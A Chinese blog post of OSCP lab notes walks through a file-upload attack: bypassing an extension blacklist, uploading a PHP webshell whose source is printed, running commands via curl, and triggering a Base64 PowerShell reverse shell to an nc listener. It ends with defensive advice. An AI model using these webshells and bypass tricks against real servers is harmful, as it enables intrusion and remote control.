4-6〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件上传漏洞-A

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
Whoami!-CSDN博客🚀

​​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!


→ 信息收集

→ 漏洞检测

→ 初始立足点**▸常见WEB应用攻击▸-----我们在这儿~** 🔥🔥🔥

权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 常见WEB应用攻击](#1 常见WEB应用攻击)

[1.3 文件上传漏洞](#1.3 文件上传漏洞)

[1.3.1 上传可执行文件攻击](#1.3.1 上传可执行文件攻击)

[1.3.1.1 识别第一类文件上传漏洞](#1.3.1.1 识别第一类文件上传漏洞)

[1.3.1.2 定位上传位置与上传机制](#1.3.1.2 定位上传位置与上传机制)

[1.3.1.3 绕过上传的过滤机制](#1.3.1.3 绕过上传的过滤机制)

[1.3.1.4 执行上传的Webshell(simple-backdoor.pHP)](#1.3.1.4 执行上传的Webshell(simple-backdoor.pHP))

1.Webshell代码详细分析

2.分析思路并执行攻击​编辑

[1.3.1.5 从目标机器获取反向shell](#1.3.1.5 从目标机器获取反向shell)

1.攻击主机上启动Netcat监听器

2.构建PowerShell反向Shell代码

3.将Base64编码处理

①准备原始命令

②转换为字节数据

③Base64编码

4.通过Webshell执行反向Shell

5.收到反向shell连接

[1.3.1.6 多语言Webshell应对策略](#1.3.1.6 多语言Webshell应对策略)

1.不同框架的Webshell位置

2.通用攻击流程

3.文件类型绕过进阶技巧

4.防护建议

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 常见WEB应用攻击

Web开发是当前IT领域需求最高 的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵++文件路径++访问未授权资源

  • 📄 文件包含漏洞 - 包含++恶意文件执行代码++

  • ⬆️ 文件上传攻击漏洞 - ++上传恶意文件++ 获取系统访问权**---(本文)**

  • ⚡ 命令注入 - 在输入中++注入系统命令++执行


1.3 文件上传漏洞

文件上传漏洞 **:**攻击者通过利用应用程序的文件上传功能,上传恶意文件到服务器,从而获取系统权限或执行其他攻击。

🎯 漏洞分类

漏洞类型 描述 可能的攻击方式
第一类漏洞 上传的文件可被Web应用程序直接执行 **(本文)**上传PHP脚本并通过浏览器执行; 适用于各种服务器端脚本语言
第二类漏洞 文件上传机制与其他漏洞结合利用 **结合目录遍历:**在文件上传请求中使用相对路径,并尝试覆盖类似authorized_keys的文件。 **结合XML外部实体 (XXE)或跨站脚本 (XSS)攻击:**当允许上传一个带有SVG文件类型的头像到个人资料时,可嵌入XXE攻击来显示文件内容甚至执行代码。
第三类漏洞 依赖用户交互的攻击 上传含恶意宏的文档文件,诱导用户执行 **例如:**当发现一个求职申请的上传表单时,尝试上传一个带有恶意.docx格式的简历,并集成恶意宏,然后通过宏来执行。

⚠️ 本单元重点讨论前两种文件上传漏洞。


1.3.1 上传可执行文件攻击

1.3.1.1 识别第一类文件上传漏洞

识别方法

  • 内容管理系统(CMS):通常有头像上传、博客附件等功能

  • 企业网站:职业申请部分或特定业务功能中的上传机制

  • 全面枚举:不应跳过对网站所有功能的仔细检查


1.3.1.2 定位上传位置与上传机制

示例:Mountain Desserts应用程序: ++访问http://<192.168.50.189>/meteor/++

测试步骤

  1. 发现图片上传功能,上图红框部分

  2. 尝试上传**文本文件,**验证限制范围

  3. 确认上传成功,说明不仅限于图片文件

  4. 此外:页面英文提示说要切换到windows,大胆推测目标服务器运行在windows上

**如下示例:**我们创建了一个test.txt的文本文件,并上传到Web应用程序,显示上传成功!


1.3.1.3 绕过上传的过滤机制

尝试上传之前使用的simple-backdoor.phpWebshell ,提示PHP Webshell受阻

  • 系统提示:"不允许PHP文件"

  • 表明存在文件扩展名黑名单

由于不知道过滤器的具体实现方式,将使用试错的方法来寻找绕过它的方法。

绕过黑名单的常用方法

绕过技术 示例 原理
非常规PHP扩展名 .phps, .php7 利用较少检查的合法PHP扩展名
大小写变异 .pHP, .PhP 黑名单可能只检查小写扩展名
特殊字符添加 .php., .php 利用系统处理文件名的特性
双重扩展名 .jpg.php 绕过简单的前缀/后缀检查

实战操作

  • simple-backdoor.php重命名为 simple-backdoor.pHP

  • 成功绕过过滤器,文件被上传至"uploads"目录


1.3.1.4 执行上传的Webshell(simple-backdoor.pHP

1.Webshell代码详细分析

bash 复制代码
kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...

<?php
if(isset($_REQUEST['cmd'])){      # 把请求变量cmd的参数值
 echo "<pre>";
 $cmd = ($_REQUEST['cmd']);       # 放入system()函数去执行
 system($cmd);
 echo "</pre>";
 die;
}                  # 总的意思:cmd的命令在本地web服务器执行,并输出结果。

?>                      

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...
步骤 功能描述 关键技术/函数 作用说明
1. 接收命令 检查$_REQUEST['cmd']参数是否存在 $_REQUEST全局数组 自动获取GET、POST和COOKIE中的cmd参数值
2. 执行命令 在服务器上执行传入的系统命令 system($cmd)函数 直接调用操作系统命令并返回执行结果
3. 显示结果 格式化输出命令执行结果 echo "<pre>"echo "</pre>" 使用HTML的<pre>标签保持输出格式清晰可读
4. 终止脚本 命令执行完成后结束脚本运行 die语句 防止脚本继续执行,确保安全性和资源释放

🔹 $_REQUEST超级全局数组

  • 功能:自动收集HTTP请求参数(GET + POST + COOKIE)

  • 优势:无需区分请求方法,统一处理用户输入

  • 风险 :安全性较低,建议在生产环境中使用更具体的$_GET$_POST

🔹 system()函数特性

  • 执行环境:在Web服务器进程权限下运行

  • 返回值:直接输出命令结果到浏览器

  • 权限依赖:受Web服务器用户权限限制

🔹 <pre>标签的作用

  • 格式保持:保留空格和换行符的原始格式

  • 可读性:使命令行输出更易于阅读和分析

  • 调试友好:便于攻击者查看完整的命令执行结果

🔹 die语句的重要性

  • 资源清理:立即终止脚本,释放系统资源

  • 安全控制:防止意外代码继续执行

  • 逻辑明确:明确标识脚本执行终点

2.分析思路并执行攻击

再次分析上图,输出显示我们的文件已上传到"uploads"目录,所以假设存在一个名为"uploads"的目录。再次提醒:/uploads是我们猜想的目录。

刚刚上传simple-backdoor.pHP,这里不要输错;然后带参数cmd,这个参数将在该webshell中执行。我们使用curl,并将查询命令dir 作为Webshell的"cmd"参数。

bash 复制代码
kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir

...
Directory of C:\xampp\htdocs\meteor\uploads
04/04/2022 06:23 AM <DIR> .
04/04/2022 06:23 AM <DIR> ..
04/04/2022 06:21 AM 328 simple-backdoor.pHP
04/04/2022 06:03 AM 15 test.txt
 2 File(s) 343 bytes
 2 Dir(s) 15,410,925,568 bytes free
...

结果确认

  • 成功显示目录列表

  • 确认获得远程命令执行能力


1.3.1.5 从目标机器获取反向shell

| 步骤 | 操作 | 工具/技术 | 关键点 |
| 1. 准备阶段 | 启动Netcat监听 | nc -nvlp 4444 | 选择未被占用的端口 |
| 2. 载荷构建 | PowerShell代码Base64编码 | PowerShell + Base64 | 避免特殊字符问题 |
| 3. 命令执行 | 通过Webshell触发反向连接 | curl + URL编码 | 正确格式化命令参数 |

4. 连接建立 接收反向Shell Netcat监听器 获得目标系统控制权

1.攻击主机上启动Netcat监听器

在本地kali(攻击主机)上新的终端中启动一个Netcat监听器,在4444端口上捕获传入的反向shell。作用:准备接收目标机器的反向连接。

bash 复制代码
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...

2.构建PowerShell反向Shell代码

目标环境分析 :基于上面的网页的XAMPP图标和系统提示,推测为Windows系统。 因此构建PowerShell 的++单行命令++ 作为反向shell代码。
在本实验中,在kali上构建
PowerShell代码,使用pwsh(跨平台的命令行外壳和脚本语言)。

pwsh是PowerShell的缩写,它是一个跨平台的命令行外壳和脚本语言。PowerShell是微软为Windows操作系统开发的,但随着时间的推移它已经变得跨平台,可以在Linux和macOS上使用,在kali的命令行中输入pwsh来启动PowerShell 7的交互式shell。

这段PowerShell代码是一个简单的反向Shell脚本,通常用于在远程机器上执行命令并将结果返回到攻击者的机器。它建立一个TCP连接,并执行来自连接的命令,连接到IP地址192.168.119.3上的端口4444,这个IP地址和端口是攻击者控制的机器。

3.将Base64编码处理

由于反向shell单行命令中有几个特殊字符 ,需使用base64 对字符串进行编码 。在网络传输数据时,通常需要转换为字节流格式,便于通过协议传输。编码思路如下:

①准备原始命令

bash 复制代码
$Text = "PowerShell反向shell代码"
  • 把PowerShell命令存储在变量Text。

②转换为字节数据

bash 复制代码
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

# 将一个文本字符串($Text)转换成Unicode编码格式的字节数组($Bytes)。
  • 将文本转换成计算机理解的二进制格式

  • 使用Unicode编码确保所有字符正确转换

  • 最终存储在变量Bytes中

详细说明:

**[System.Text.Encoding]::Unicode:**指定了想使用的编码格式,这里是 Unicode 编码。

常见的 Unicode 编码形式包括 UTF-16 和 UTF-8,其中 UTF-16 是指每个字符使用 2 或 4 字节表示。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。

GetBytes(Text):** System.Text.Encoding 类的一个方法,用来将字符串 Text 的内容转换为一个字节数组**。它会将每个字符按照指定的编码格式转换成对应的字节形式。

示例:

字符串 $Text:

bash 复制代码
$Text = "Hello"

执行以下代码时:

bash 复制代码
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

Bytes 中的内容将是:字符 "H", "e", "l", "l", "o" 对应的 Unicode 编码字节。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。所以最终 Bytes 数组可能包含类似的字节数组:

bash 复制代码
$Bytes = [0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x6F]

③Base64编码

bash 复制代码
$EncodedText = [Convert]::ToBase64String($Bytes)
  • 将二进制数据(字节数组)编码为安全传输的文本格式(Base64 编码字符串

  • **目的是:**消除特殊字符,避免特殊字符在URL传输中被错误解析

详细说明:
[Convert] 是 .NET Framework 中的一个类,包含了多种转换方法。
ToBase64String方法接受一个字节数组作为输入,并将其转换为一个 Base64 编码的字符串。

**$EncodedText:**这是存储结果的变量,最终它将包含 Base64 编码后的字符串。例如,Hello 字符串的 Base64 编码可能是 SGVsbG8=。

4.通过Webshell执行反向Shell

命令构造

  • 原始命令:powershell -enc <编码后的字符串>

  • URL编码后:powershell%20-enc%20<编码字符串>

详细说明:

在 PowerShell 中,-enc 参数通常用于通过 Base64 编码的命令行参数 启动 PowerShell 脚本或命令。它的全写是 -EncodedCommand,表示将一个 Base64 编码的命令传递给 PowerShell 执行。

执行方式

bash 复制代码
curl "http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20<编码字符串>"

5.收到反向shell连接

执行命令后,在刚刚**"nc -nvlp 4444"的终端** 上接收到一个反向shell,我们成功控制了目标主机192.168.50.189。


1.3.1.6 多语言Webshell应对策略

1.不同框架的Webshell位置

如果目标Web应用程序使用ASP 而不是PHP,可以使用与前一个**.pHP示例** 中相同的流程来获取代码执行,而不是上传PHP Webshell。幸运的是,Kali已经包含了各种Web Shell,位于/usr/share/webshells/目录中。已经提供的用于不同框架和语言的webshell。在kali中,不同框架的Webshell位置:

bash 复制代码
/usr/share/webshells/
├── asp/          # ASP语言Webshell
├── aspx/         # ASP.NET Webshell  
├── jsp/          # JSP Webshell
├── php/          # PHP Webshell
└── other/        # 其他语言

2.通用攻击流程

步骤 操作 说明
1. 识别技术栈 分析目标使用的编程语言 PHP、ASP、JSP等
2. 上传Webshell文件 绕过文件类型过滤 使用大小写变异、双重扩展名等技术
3. 定位Webshell 找到可访问的存储路径 通常为/uploads/、/images/等目录
4. 执行命令 通过参数传递系统命令 获得远程代码执行能力

3.文件类型绕过进阶技巧

重命名绕过法

  • 上传无害文件 :如.txt文本文件

  • 通过应用功能重命名 :利用网页的文件管理功能(若有),把文件格式改为.php

  • 直接访问新文件名:执行Webshell

其他绕过技术

  • 空字节注入shell.php%00.jpg

  • 特殊字符shell.php.shell.php

  • MIME类型欺骗:修改Content-Type头

4.防护建议

  • 使用白名单而非黑名单验证文件类型

  • 将上传文件存储在Web根目录外

  • 对上传文件进行重命名

  • 限制上传文件的执行权限

  • 使用病毒扫描检查上传内容


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
介一安全3 小时前
【APK安全】WebView组件的安全风险与防御指南
网络安全·安全性测试·apk安全·android测试
歪歪1003 小时前
介绍一下HTTP和WebSocket的头部信息
网络·websocket·网络协议·http·网络安全·信息与通信
Bruce_Liuxiaowei3 小时前
Kerberos协议深度解析:工作原理与安全实践
运维·windows·安全·网络安全
运维行者_1 天前
OpManager 与 iOS 26:开启 IT 运维新时代
运维·网络·网络协议·网络安全·ios·iphone·告警
歪歪1001 天前
如何在项目中选择使用HTTP还是WebSocket?
网络·websocket·网络协议·计算机网络·http·网络安全
知攻善防实验室1 天前
大洞,速修,Redis远程命令执行漏洞。
安全·网络安全·渗透测试
RrEeSsEeTt1 天前
【HackTheBox】- Eureka 靶机学习
linux·网络安全·渗透测试·kali·hackthebox
猫耳君2 天前
汽车网络安全 CyberSecurity ISO/SAE 21434 测试之四
安全·web安全·网络安全·汽车·测试·security·cybersecurity
歪歪1002 天前
Http与WebSocket网络通信协议的对比
网络·websocket·网络协议·计算机网络·http·网络安全·信息与通信